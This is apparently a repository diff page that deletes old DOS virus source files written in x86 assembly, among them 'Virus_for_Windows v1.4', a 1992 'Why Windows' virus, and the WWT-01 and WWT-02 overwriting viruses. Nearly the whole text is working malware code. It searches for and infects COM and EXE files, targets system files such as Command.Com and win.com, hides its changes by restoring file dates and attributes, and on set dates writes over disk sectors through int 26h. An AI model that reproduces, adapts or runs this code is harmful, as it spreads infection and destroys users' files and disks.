|
||||||
retn
|
|
||||||
sub_6 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_7 proc near
|
|
||||||
push dx
|
|
||||||
dec ax
|
|
||||||
mov cx,8
|
|
||||||
mul cx ; dx:ax = reg * ax
|
|
||||||
add ax,[si+22h]
|
|
||||||
adc dx,0
|
|
||||||
call sub_14
|
|
||||||
pop dx
|
|
||||||
mov cx,8
|
|
||||||
jmp short loc_7
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_8:
|
|
||||||
mov dx,data_11e
|
|
||||||
mov cx,40h
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_9:
|
|
||||||
loc_7:
|
|
||||||
mov ah,3Fh
|
|
||||||
int 21h ; DOS Services ah=function 3Fh
|
|
||||||
; read file, bx=file handle
|
|
||||||
; cx=bytes to ds:dx buffer
|
|
||||||
retn
|
|
||||||
sub_7 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_10 proc near
|
|
||||||
push dx
|
|
||||||
dec ax
|
|
||||||
mov cx,8
|
|
||||||
mul cx ; dx:ax = reg * ax
|
|
||||||
add ax,[si+22h]
|
|
||||||
adc dx,0
|
|
||||||
call sub_14
|
|
||||||
pop dx
|
|
||||||
mov cx,8
|
|
||||||
jmp short loc_8
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_11:
|
|
||||||
mov dx,data_11e
|
|
||||||
mov cx,40h
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_12:
|
|
||||||
loc_8:
|
|
||||||
mov ah,40h
|
|
||||||
int 21h ; DOS Services ah=function 40h
|
|
||||||
; write file bx=file handle
|
|
||||||
; cx=bytes from ds:dx buffer
|
|
||||||
retn
|
|
||||||
sub_10 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_13 proc near
|
|
||||||
mov ax,4202h
|
|
||||||
xor cx,cx ; Zero register
|
|
||||||
cwd ; Word to double word
|
|
||||||
int 21h ; DOS Services ah=function 42h
|
|
||||||
; move file ptr, bx=file handle
|
|
||||||
; al=method, cx,dx=offset
|
|
||||||
retn
|
|
||||||
sub_13 endp
|
|
||||||
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_14 proc near
|
|
||||||
add ax,ds:data_20e
|
|
||||||
adc dx,ds:data_21e
|
|
||||||
jmp short loc_9
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_15:
|
|
||||||
mov cx,10h
|
|
||||||
mul cx ; dx:ax = reg * ax
|
|
||||||
add ax,100h
|
|
||||||
adc dx,0
|
|
||||||
jmp short loc_9
|
|
||||||
db 33h,0C0h, 99h
|
|
||||||
|
|
||||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
|
|
||||||
sub_16:
|
|
||||||
loc_9:
|
|
||||||
xchg cx,dx
|
|
||||||
xchg ax,dx
|
|
||||||
mov ax,4200h
|
|
||||||
int 21h ; DOS Services ah=function 42h
|
|
||||||
; move file ptr, bx=file handle
|
|
||||||
; al=method, cx,dx=offset
|
|
||||||
retn
|
|
||||||
sub_14 endp
|
|
||||||
|
|
||||||
;* No entry point to code
|
|
||||||
xchg cx,dx
|
|
||||||
xchg ax,dx
|
|
||||||
mov ax,4201h
|
|
||||||
int 21h ; DOS Services ah=function 42h
|
|
||||||
; move file ptr, bx=file handle
|
|
||||||
; al=method, cx,dx=offset
|
|
||||||
retn
|
|
||||||
db ' Virus_for_Windows v1.4 '
|
|
||||||
db 259 dup (0)
|
|
||||||
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
|
|
||||||
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
|
|
||||||
db 'bbbbbbbbccccccccdddddddddddddddd'
|
|
||||||
db 'ddddddddddddddddddddddddddd*.EXE'
|
|
||||||
db 0
|
|
||||||
db 'eeeeeeeeeeeee'
|
|
||||||
db 00h, 00h, 80h, 00h, 00h, 00h
|
|
||||||
db 5Ch, 00h, 00h, 00h
|
|
||||||
db 6Ch
|
|
||||||
db 11 dup (0)
|
|
||||||
db 4Dh, 4Bh, 39h, 32h
|
|
||||||
db 8 dup (0)
|
|
||||||
|
|
||||||
seg_a ends
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
;------------------------------------------------------ stack_seg_b ----
|
|
||||||
|
|
||||||
stack_seg_b segment word stack 'STACK'
|
|
||||||
|
|
||||||
db 8192 dup (0)
|
|
||||||
|
|
||||||
stack_seg_b ends
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end start
|
|
@ -1,225 +0,0 @@
|
|||||||
seg_a segment byte public
|
|
||||||
assume cs:seg_a, ds:seg_a
|
|
||||||
|
|
||||||
|
|
||||||
org 100h
|
|
||||||
|
|
||||||
ww proc far
|
|
||||||
|
|
||||||
start:
|
|
||||||
jmp loc_2
|
|
||||||
db 12 dup (90h)
|
|
||||||
db 0CDh, 20h
|
|
||||||
loc_2:
|
|
||||||
jmp short loc_3
|
|
||||||
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
|
|
||||||
db 00h, 00h
|
|
||||||
data_8 db 'C:\Command.Com', 0
|
|
||||||
db 'C:\Autoexec.Bat', 0
|
|
||||||
db 'C:\Config.Sys', 0
|
|
||||||
db '\win'
|
|
||||||
data_12 dw 6F64h
|
|
||||||
db 'ws\win.com'
|
|
||||||
db 00h,0E9h, 0Eh, 00h, 90h,0C8h
|
|
||||||
db 01h
|
|
||||||
loc_3:
|
|
||||||
mov bx,101h
|
|
||||||
mov ah,[bx]
|
|
||||||
mov bx,102h
|
|
||||||
mov al,[bx]
|
|
||||||
xchg al,ah
|
|
||||||
add ax,3
|
|
||||||
mov si,ax
|
|
||||||
mov ah,1Ah
|
|
||||||
lea dx,[si+2C8h]
|
|
||||||
add dx,6
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
mov ah,4Eh
|
|
||||||
lea dx,[si+103h]
|
|
||||||
mov cx,6
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
cmp ax,12h
|
|
||||||
je loc_7
|
|
||||||
lea dx,[si+10Ah]
|
|
||||||
jmp short loc_6
|
|
||||||
db 90h
|
|
||||||
loc_5:
|
|
||||||
mov ah,4Dh
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
mov ah,4Fh
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
cmp ax,12h
|
|
||||||
je loc_7
|
|
||||||
lea dx,[si+2C8h]
|
|
||||||
add dx,24h
|
|
||||||
loc_6:
|
|
||||||
mov ah,3Dh
|
|
||||||
mov al,2
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
mov bx,ax
|
|
||||||
mov ah,42h
|
|
||||||
mov al,2
|
|
||||||
mov dx,0
|
|
||||||
mov cx,0
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
push ax
|
|
||||||
sub ax,6
|
|
||||||
mov dx,ax
|
|
||||||
mov ah,42h
|
|
||||||
mov al,0
|
|
||||||
mov cx,0
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ah,3Fh
|
|
||||||
mov cx,1
|
|
||||||
lea dx,[si+14Bh]
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ah,byte ptr data_8+30h[si]
|
|
||||||
cmp ah,42h
|
|
||||||
jne loc_8
|
|
||||||
jmp short loc_5
|
|
||||||
loc_7:
|
|
||||||
jmp short loc_9
|
|
||||||
db 90h
|
|
||||||
loc_8:
|
|
||||||
mov ah,42h
|
|
||||||
mov al,0
|
|
||||||
mov dx,0
|
|
||||||
mov cx,0
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ax,3F00h
|
|
||||||
mov cx,3
|
|
||||||
lea dx,[si+2C8h]
|
|
||||||
add dx,3
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ax,4200h
|
|
||||||
mov dx,0
|
|
||||||
mov cx,0
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
pop ax
|
|
||||||
sub ax,3
|
|
||||||
mov byte ptr data_8+2Eh[si],al
|
|
||||||
mov byte ptr data_8+2Fh[si],ah
|
|
||||||
mov ah,40h
|
|
||||||
mov cx,3
|
|
||||||
lea dx,[si+148h]
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ax,4202h
|
|
||||||
mov dx,0
|
|
||||||
mov cx,0
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ah,40h
|
|
||||||
lea dx,[si+100h]
|
|
||||||
mov cx,data_12[si]
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
mov ax,4000h
|
|
||||||
lea dx,[si+2C8h]
|
|
||||||
add dx,3
|
|
||||||
mov cx,3
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
jmp short loc_9
|
|
||||||
db 90h
|
|
||||||
loc_9:
|
|
||||||
mov ah,3Eh
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
mov ah,41h
|
|
||||||
lea dx,[si+137h]
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
mov ah,2Ah
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
|
|
||||||
cmp dh,2
|
|
||||||
jne loc_14
|
|
||||||
cmp dl,17h
|
|
||||||
je loc_10
|
|
||||||
cmp dl,18h
|
|
||||||
je loc_11
|
|
||||||
cmp dl,19h
|
|
||||||
je loc_12
|
|
||||||
jmp short loc_14
|
|
||||||
db 90h
|
|
||||||
loc_10:
|
|
||||||
mov ah,3Ch
|
|
||||||
lea dx,[si+119h]
|
|
||||||
mov cx,1
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
jmp short loc_14
|
|
||||||
db 90h
|
|
||||||
loc_11:
|
|
||||||
mov ah,3Ch
|
|
||||||
lea dx,[si+129h]
|
|
||||||
mov cx,1
|
|
||||||
int 21h
|
|
||||||
|
|
||||||
jmp short loc_14
|
|
||||||
db 90h
|
|
||||||
loc_12:
|
|
||||||
mov al,2
|
|
||||||
loc_13:
|
|
||||||
mov cx,96h
|
|
||||||
mov dx,0
|
|
||||||
int 26h
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
inc al
|
|
||||||
cmp al,4
|
|
||||||
jne loc_13
|
|
||||||
loc_14:
|
|
||||||
mov cx,3
|
|
||||||
lea ax,[si+2C8h]
|
|
||||||
mov si,ax
|
|
||||||
mov di,100h
|
|
||||||
rep movsb
|
|
||||||
call sub_1
|
|
||||||
int 20h
|
|
||||||
|
|
||||||
ww endp
|
|
||||||
|
|
||||||
sub_1 proc near
|
|
||||||
mov di,offset start
|
|
||||||
jmp di
|
|
||||||
db 'Why Windows '
|
|
||||||
copyright db '(c)1992 MaZ / BetaBoys B.B'
|
|
||||||
db 90h, 90h, 90h
|
|
||||||
sub_1 endp
|
|
||||||
|
|
||||||
|
|
||||||
seg_a ends
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end start
|
|
||||||
|
|
||||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
|
||||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -1,78 +0,0 @@
|
|||||||
|
|
||||||
PAGE 59,132
|
|
||||||
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛ WWT-01 ÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛ Created: 15-Mar-91 ÛÛ
|
|
||||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
||||||
;ÛÛ ÛÛ
|
|
||||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
||||||
|
|
||||||
data_009E_e equ 9Eh
|
|
||||||
|
|
||||||
seg_a segment byte public
|
|
||||||
assume cs:seg_a, ds:seg_a
|
|
||||||
|
|
||||||
|
|
||||||
org 100h
|
|
||||||
|
|
||||||
wwt-01 proc far
|
|
||||||
|
|
||||||
start:
|
|
||||||
mov dx,offset data_013D
|
|
||||||
mov ah,4Eh ; 'N'
|
|
||||||
mov cx,1
|
|
||||||
int 21h ; DOS Services ah=function 4Eh
|
|
||||||
; find 1st filenam match @ds:dx
|
|
||||||
jnc loc_010E ; Jump if carry=0
|
|
||||||
jmp short loc_012C
|
|
||||||
loc_010E:
|
|
||||||
mov dx,data_009E_e
|
|
||||||
mov ax,3D02h
|
|
||||||
int 21h ; DOS Services ah=function 3Dh
|
|
||||||
; open file, al=mode,name@ds:dx
|
|
||||||
jnc loc_011A ; Jump if carry=0
|
|
||||||
jmp short loc_012C
|
|
||||||
loc_011A:
|
|
||||||
mov bx,ax
|
|
||||||
call sub_012E
|
|
||||||
mov dx,80h
|
|
||||||
mov ah,4Fh ; 'O'
|
|
||||||
int 21h ; DOS Services ah=function 4Fh
|
|
||||||
; find next filename match
|
|
||||||
jnc loc_012A ; Jump if carry=0
|
|
||||||
jmp short loc_012C
|
|
||||||
loc_012A:
|
|
||||||
jmp short loc_010E
|
|
||||||
loc_012C:
|
|
||||||
int 20h ; DOS program terminate
|
|
||||||
|
|
||||||
wwt-01 endp
|
|
||||||
|
|
||||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
||||||
; SUBROUTINE
|
|
||||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
||||||
|
|
||||||
sub_012E proc near
|
|
||||||
mov dx,100h
|
|
||||||
mov ah,40h ; '@'
|
|
||||||
mov cx,43h
|
|
||||||
int 21h ; DOS Services ah=function 40h
|
|
||||||
; write file bx=file handle
|
|
||||||
; cx=bytes from ds:dx buffer
|
|
||||||
mov ah,3Eh ; '>'
|
|
||||||
int 21h ; DOS Services ah=function 3Eh
|
|
||||||
; close file, bx=file handle
|
|
||||||
retn
|
|
||||||
sub_012E endp
|
|
||||||
|
|
||||||
data_013D db 2Ah
|
|
||||||
db 2Eh, 43h, 4Fh, 4Dh, 00h
|
|
||||||
|
|
||||||
seg_a ends
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end start
|
|
@ -1,73 +0,0 @@
|
|||||||
; Virus name WWT-02
|
|
||||||
; Description Attack any COM file in current directory
|
|
||||||
; Comment Don't change Date/Time, ignore ReadOnly
|
|
||||||
; Date 19 Dec 1990 15:30
|
|
||||||
; Place CICTT
|
|
||||||
;
|
|
||||||
mov dx,offset FileMask ; FileMask for any COM file
|
|
||||||
mov ah,4eh ; Find first file
|
|
||||||
mov cx,1 ; including attrib Archive
|
|
||||||
int 21h ; Call DOS
|
|
||||||
jnc Ok ; If no error -> go on
|
|
||||||
jmp short Exit ; If error -> exit program
|
|
||||||
|
|
||||||
Ok
|
|
||||||
call Infect ; Do infection
|
|
||||||
|
|
||||||
DoNext
|
|
||||||
mov dx,80h ; Set DS:DX to DTA
|
|
||||||
mov ah,4fh ; Find Next file
|
|
||||||
int 21h ; Call DOS
|
|
||||||
jnc NextOk ; If no error -> go on
|
|
||||||
jmp short Exit ; If error -> exit
|
|
||||||
NextOk
|
|
||||||
jmp short Ok ; Still next file exist
|
|
||||||
|
|
||||||
Exit
|
|
||||||
int 20h ; Exit to DOS
|
|
||||||
|
|
||||||
Infect
|
|
||||||
mov dx,9eh ; Set DS:DX to filename in DTA
|
|
||||||
mov ax,4300h ; Get file attribute
|
|
||||||
int 21h ; Call DOS
|
|
||||||
mov Attrib,cx ; Save attribute for later
|
|
||||||
xor cx,cx ; New attribute -> normal file
|
|
||||||
mov ax,4301h ; Set attribute
|
|
||||||
int 21h ; Call DOS
|
|
||||||
mov ax,3d02h ; Open file for Read/Write
|
|
||||||
int 21h ; Call DOS
|
|
||||||
jc Exit ; If error -> exit
|
|
||||||
mov bx,ax ; Save handle
|
|
||||||
mov ax,5700h ; Get file Date/Time
|
|
||||||
int 21h ; Call DOS
|
|
||||||
mov Date,dx ; Save date
|
|
||||||
mov Time,cx ; Save time
|
|
||||||
mov dx,100h ; DS:DX point to itself
|
|
||||||
mov ah,40h ; Write to handle
|
|
||||||
mov cx,offset VirusSize-100h ; Write only virus
|
|
||||||
int 21h ; Call DOS
|
|
||||||
mov ax,5701h ; Restore Date/Time
|
|
||||||
mov cx,Time ; Old time
|
|
||||||
mov dx,Date ; Old time
|
|
||||||
int 21h ; Call DOS
|
|
||||||
mov ah,3eh ; Close file
|
|
||||||
int 21h ; Call DOS
|
|
||||||
mov dx,9eh ; Set DS:DX to filename in DTA
|
|
||||||
mov cx,Attrib ; Restore attribute
|
|
||||||
mov ax,4301h ; Set file attribute
|
|
||||||
int 21h ; Call DOS
|
|
||||||
ret ; Return to caller
|
|
||||||
|
|
||||||
|
|
||||||
FileMask
|
|
||||||
db '*.COM',0 ; File mask for any COM file
|
|
||||||
Date
|
|
||||||
dw ?
|
|
||||||
Time
|
|
||||||
dw ?
|
|
||||||
Attrib
|
|
||||||
dw ?
|
|
||||||
VirusSize
|
|
||||||
db ? ; Used to calculate virus
|
|
||||||
; size
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user